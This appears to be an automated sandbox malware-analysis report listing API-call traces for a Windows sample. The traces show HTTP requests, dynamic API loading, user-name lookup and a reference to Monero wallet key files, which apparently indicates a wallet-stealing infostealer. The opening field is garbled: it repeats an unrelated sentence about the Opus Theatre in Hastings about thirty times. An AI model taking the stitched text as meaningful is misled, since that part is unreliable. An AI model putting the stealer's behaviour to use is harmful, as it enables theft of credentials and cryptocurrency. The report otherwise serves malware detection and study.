String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 77a48a72d76f7343dd18e7e1c6cfac01218cf83067a8a9474dbad6e7e5196977
Instruction ID: b37d09c84c8cc7c9aad032671875410b08472c31788667c040e9fd9febfbe9aa
Opcode Fuzzy Hash: 77a48a72d76f7343dd18e7e1c6cfac01218cf83067a8a9474dbad6e7e5196977
Instruction Fuzzy Hash: 074130707CB7146A8634FBA58C6EF9D7663DF936D0F40504EB8709E204CAA66508CDAA

Function 00FF4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FF4915
StrCmpCA.SHLWAPI(?,0198FB08), ref: 00FF493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,01010DDB,00000000,?,?,00000000,?,",00000000,?,0198FA98), ref: 00FF4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FF4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FF4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FF4E49
InternetCloseHandle.WININET(00000000), ref: 00FF4EAD
InternetCloseHandle.WININET(00000000), ref: 00FF4EC5
HttpOpenRequestA.WININET(00000000,0198FA28,?,0198F400,00000000,00000000,00400100,00000000), ref: 00FF4B15

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

InternetCloseHandle.WININET(00000000), ref: 00FF4ECF

Strings

------, xrefs: 00FF4B28
", xrefs: 00FF4D33
", xrefs: 00FF4BF2
------, xrefs: 00FF4C69
------, xrefs: 00FF49BD

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 1d79ce4f14169516b66c2fa7220d65cff4c281fdf439ec35e74a03e26aefe94e
Instruction ID: b71187582ce10f052c9c54e3a3a7bea18c0d37b1ecde2f5239edcf3e0084f94b
Opcode Fuzzy Hash: 1d79ce4f14169516b66c2fa7220d65cff4c281fdf439ec35e74a03e26aefe94e
Instruction Fuzzy Hash: 0912CF71A10219EAEB16EB90DD95FEEB379BF24300F5041A9A186670D0EF742F49CF61

Function 01007850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FF11B7), ref: 01007880
RtlAllocateHeap.NTDLL(00000000), ref: 01007887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0100789F

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e5dbef57d0068d093414532fd6c0ac36a25324f12e47e0f912bd8ddae78b2aa3
Instruction ID: f4b7799cf2de66235715ce9fe44ee5e054a054ee50c7489c683480c2e10f8334
Opcode Fuzzy Hash: e5dbef57d0068d093414532fd6c0ac36a25324f12e47e0f912bd8ddae78b2aa3
Instruction Fuzzy Hash: 76F04FB1944208EBD714DFD9D949BAEFBB8EB04721F10026AFA45E3680C77815048BA1

Function 00FF1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00FF116A
ExitProcess.KERNEL32 ref: 00FF117E

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 340cec86ee11992f609fd50682c334543b8eb6182568feeb9111df1b11409f29
Instruction ID: 75e2c38c1a4ebb43862d42e0ffdab99478c7aee38064e652801065dc0b7e1498
Opcode Fuzzy Hash: 340cec86ee11992f609fd50682c334543b8eb6182568feeb9111df1b11409f29
Instruction Fuzzy Hash: 48D05E7490030CDBCB14DFE0E88D6EDBB78FB08321F000564D906A3340EA315491CBA5

Function 01009C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,01975690), ref: 01009C2D
GetProcAddress.KERNEL32(76210000,01975630), ref: 01009C45
GetProcAddress.KERNEL32(76210000,01988FD0), ref: 01009C5E
GetProcAddress.KERNEL32(76210000,01988FB8), ref: 01009C76
GetProcAddress.KERNEL32(76210000,01989048), ref: 01009C8E
GetProcAddress.KERNEL32(76210000,0198DDB0), ref: 01009CA7
GetProcAddress.KERNEL32(76210000,0197A638), ref: 01009CBF
GetProcAddress.KERNEL32(76210000,0198DC90), ref: 01009CD7
GetProcAddress.KERNEL32(76210000,0198DC18), ref: 01009CF0
GetProcAddress.KERNEL32(76210000,0198DBA0), ref: 01009D08
GetProcAddress.KERNEL32(76210000,0198DCF0), ref: 01009D20
GetProcAddress.KERNEL32(76210000,019756B0), ref: 01009D39
GetProcAddress.KERNEL32(76210000,01975470), ref: 01009D51
GetProcAddress.KERNEL32(76210000,01975430), ref: 01009D69
GetProcAddress.KERNEL32(76210000,019756D0), ref: 01009D82
GetProcAddress.KERNEL32(76210000,0198DD08), ref: 01009D9A
GetProcAddress.KERNEL32(76210000,0198DD68), ref: 01009DB2
GetProcAddress.KERNEL32(76210000,0197A840), ref: 01009DCB
GetProcAddress.KERNEL32(76210000,019756F0), ref: 01009DE3
GetProcAddress.KERNEL32(76210000,0198DD80), ref: 01009DFB
GetProcAddress.KERNEL32(76210000,0198DD38), ref: 01009E14
GetProcAddress.KERNEL32(76210000,0198DC00), ref: 01009E2C
GetProcAddress.KERNEL32(76210000,0198DB28), ref: 01009E44
GetProcAddress.KERNEL32(76210000,01975410), ref: 01009E5D
GetProcAddress.KERNEL32(76210000,0198DCC0), ref: 01009E75
GetProcAddress.KERNEL32(76210000,0198DC30), ref: 01009E8D
GetProcAddress.KERNEL32(76210000,0198DBB8), ref: 01009EA6
GetProcAddress.KERNEL32(76210000,0198DB10), ref: 01009EBE
GetProcAddress.KERNEL32(76210000,0198DBE8), ref: 01009ED6
GetProcAddress.KERNEL32(76210000,0198DCD8), ref: 01009EEF
GetProcAddress.KERNEL32(76210000,0198DD20), ref: 01009F07
GetProcAddress.KERNEL32(76210000,0198DBD0), ref: 01009F1F
GetProcAddress.KERNEL32(76210000,0198DC48), ref: 01009F38
GetProcAddress.KERNEL32(76210000,0197FC30), ref: 01009F50
GetProcAddress.KERNEL32(76210000,0198DC60), ref: 01009F68
GetProcAddress.KERNEL32(76210000,0198DC78), ref: 01009F81
GetProcAddress.KERNEL32(76210000,01975370), ref: 01009F99
GetProcAddress.KERNEL32(76210000,0198DB40), ref: 01009FB1
GetProcAddress.KERNEL32(76210000,01975450), ref: 01009FCA
GetProcAddress.KERNEL32(76210000,0198DD50), ref: 01009FE2
GetProcAddress.KERNEL32(76210000,0198DCA8), ref: 01009FFA
GetProcAddress.KERNEL32(76210000,01975390), ref: 0100A013
GetProcAddress.KERNEL32(76210000,01975490), ref: 0100A02B
LoadLibraryA.KERNEL32(0198DD98,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A03D
LoadLibraryA.KERNEL32(0198DAC8,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A04E
LoadLibraryA.KERNEL32(0198DAE0,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A060
LoadLibraryA.KERNEL32(0198DAF8,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A072
LoadLibraryA.KERNEL32(0198DB58,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A083
LoadLibraryA.KERNEL32(0198DB70,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A095
LoadLibraryA.KERNEL32(0198DB88,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A0A7
LoadLibraryA.KERNEL32(0198DEE8,?,01005CA3,01010AEB,?,?,?,?,?,?,?,?,?,?,01010AEA,01010AE3), ref: 0100A0B8
GetProcAddress.KERNEL32(751E0000,01975190), ref: 0100A0DA
GetProcAddress.KERNEL32(751E0000,0198DED0), ref: 0100A0F2
GetProcAddress.KERNEL32(751E0000,01988AA0), ref: 0100A10A
GetProcAddress.KERNEL32(751E0000,0198DDC8), ref: 0100A123
GetProcAddress.KERNEL32(751E0000,01975090), ref: 0100A13B
GetProcAddress.KERNEL32(700F0000,0197A778), ref: 0100A160
GetProcAddress.KERNEL32(700F0000,019750D0), ref: 0100A179
GetProcAddress.KERNEL32(700F0000,0197A868), ref: 0100A191
GetProcAddress.KERNEL32(700F0000,0198DEB8), ref: 0100A1A9
GetProcAddress.KERNEL32(700F0000,0198DF00), ref: 0100A1C2
GetProcAddress.KERNEL32(700F0000,01975050), ref: 0100A1DA
GetProcAddress.KERNEL32(700F0000,01975110), ref: 0100A1F2
GetProcAddress.KERNEL32(700F0000,0198DF48), ref: 0100A20B
GetProcAddress.KERNEL32(753A0000,01974F70), ref: 0100A22C
GetProcAddress.KERNEL32(753A0000,01975070), ref: 0100A244
GetProcAddress.KERNEL32(753A0000,0198DE28), ref: 0100A25D
GetProcAddress.KERNEL32(753A0000,0198DEA0), ref: 0100A275
GetProcAddress.KERNEL32(753A0000,019752F0), ref: 0100A28D
GetProcAddress.KERNEL32(76310000,0197A6B0), ref: 0100A2B3
GetProcAddress.KERNEL32(76310000,0197A688), ref: 0100A2CB
GetProcAddress.KERNEL32(76310000,0198DE40), ref: 0100A2E3
GetProcAddress.KERNEL32(76310000,01974F90), ref: 0100A2FC
GetProcAddress.KERNEL32(76310000,01974FB0), ref: 0100A314
GetProcAddress.KERNEL32(76310000,0197A7A0), ref: 0100A32C
GetProcAddress.KERNEL32(76910000,0198DF78), ref: 0100A352
GetProcAddress.KERNEL32(76910000,019750B0), ref: 0100A36A
GetProcAddress.KERNEL32(76910000,019889E0), ref: 0100A382
GetProcAddress.KERNEL32(76910000,0198DF18), ref: 0100A39B
GetProcAddress.KERNEL32(76910000,0198DF30), ref: 0100A3B3
GetProcAddress.KERNEL32(76910000,01975150), ref: 0100A3CB
GetProcAddress.KERNEL32(76910000,019751B0), ref: 0100A3E4
GetProcAddress.KERNEL32(76910000,0198DE58), ref: 0100A3FC
GetProcAddress.KERNEL32(76910000,0198DDE0), ref: 0100A414
GetProcAddress.KERNEL32(75B30000,01975210), ref: 0100A436
GetProcAddress.KERNEL32(75B30000,0198DF60), ref: 0100A44E
GetProcAddress.KERNEL32(75B30000,0198DDF8), ref: 0100A466
GetProcAddress.KERNEL32(75B30000,0198DE10), ref: 0100A47F
GetProcAddress.KERNEL32(75B30000,0198DE88), ref: 0100A497
GetProcAddress.KERNEL32(75670000,01975030), ref: 0100A4B8
GetProcAddress.KERNEL32(75670000,01975310), ref: 0100A4D1
GetProcAddress.KERNEL32(76AC0000,01974F50), ref: 0100A4F2
GetProcAddress.KERNEL32(76AC0000,0198DE70), ref: 0100A50A
GetProcAddress.KERNEL32(6F4E0000,01975010), ref: 0100A530
GetProcAddress.KERNEL32(6F4E0000,019751D0), ref: 0100A548
GetProcAddress.KERNEL32(6F4E0000,019750F0), ref: 0100A560
GetProcAddress.KERNEL32(6F4E0000,0198D930), ref: 0100A579
GetProcAddress.KERNEL32(6F4E0000,019751F0), ref: 0100A591
GetProcAddress.KERNEL32(6F4E0000,01975130), ref: 0100A5A9
GetProcAddress.KERNEL32(6F4E0000,01975330), ref: 0100A5C2
GetProcAddress.KERNEL32(6F4E0000,01975170), ref: 0100A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0100A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0100A607
GetProcAddress.KERNEL32(75AE0000,0198D8B8), ref: 0100A629
GetProcAddress.KERNEL32(75AE0000,01988A60), ref: 0100A641
GetProcAddress.KERNEL32(75AE0000,0198DA08), ref: 0100A659
GetProcAddress.KERNEL32(75AE0000,0198DA38), ref: 0100A672
GetProcAddress.KERNEL32(76300000,01974FD0), ref: 0100A693
GetProcAddress.KERNEL32(6FE20000,0198DA98), ref: 0100A6B4
GetProcAddress.KERNEL32(6FE20000,01975230), ref: 0100A6CD
GetProcAddress.KERNEL32(6FE20000,0198D810), ref: 0100A6E5
GetProcAddress.KERNEL32(6FE20000,0198D828), ref: 0100A6FD

Strings

HttpQueryInfoA, xrefs: 0100A5FC
InternetSetOptionA, xrefs: 0100A5E5

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d20b841e3ad0f8031ae4af4358d74b2f8cec80857a46497c4158f68b6372b2f9
Instruction ID: 2f292149a59c23e1da8088875c000e3ef5e1a6eb6c3e79568e345f2aea2fde62
Opcode Fuzzy Hash: d20b841e3ad0f8031ae4af4358d74b2f8cec80857a46497c4158f68b6372b2f9
Instruction Fuzzy Hash: 67624CB5605200AFD36ADFA8F98CD6A3BF9F79C701314853AA68AC724CD7399441DF50

Function 00FF6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

InternetOpenA.WININET(01010DFE,00000001,00000000,00000000,00000000), ref: 00FF62E1
StrCmpCA.SHLWAPI(?,0198FB08), ref: 00FF6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF6335
HttpOpenRequestA.WININET(00000000,GET,?,0198F400,00000000,00000000,00400100,00000000), ref: 00FF6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FF63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FF63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00FF63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FF646D
InternetCloseHandle.WININET(00000000), ref: 00FF64EF
InternetCloseHandle.WININET(00000000), ref: 00FF64F9
InternetCloseHandle.WININET(00000000), ref: 00FF6503

Strings

ERROR, xrefs: 00FF64C9
ERROR, xrefs: 00FF6407
GET, xrefs: 00FF637C

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: cccd747bb6817ff3072581685d19eac6d02bf95fa59abc939e59c246028636a7
Instruction ID: c03137201ba77b59a442d3728bb3a2feb67cb4d1a63fa8ce64270c37a71e0ceb
Opcode Fuzzy Hash: cccd747bb6817ff3072581685d19eac6d02bf95fa59abc939e59c246028636a7
Instruction Fuzzy Hash: B4713F71A00318EBEB25EBA0DC48FEE7774BF54700F108159E24AAB1D4DBB46A85DF51

Function 01005510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A820: lstrlen.KERNEL32(00FF4F05,?,?,00FF4F05,01010DDE), ref: 0100A82B
Part of subcall function 0100A820: lstrcpy.KERNEL32(01010DDE,00000000), ref: 0100A885

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 010056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005857

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 010051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005228

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 010052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005318
Part of subcall function 010052C0: lstrlen.KERNEL32(00000000), ref: 0100532F
Part of subcall function 010052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 01005364
Part of subcall function 010052C0: lstrlen.KERNEL32(00000000), ref: 01005383
Part of subcall function 010052C0: lstrlen.KERNEL32(00000000), ref: 010053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0100578B
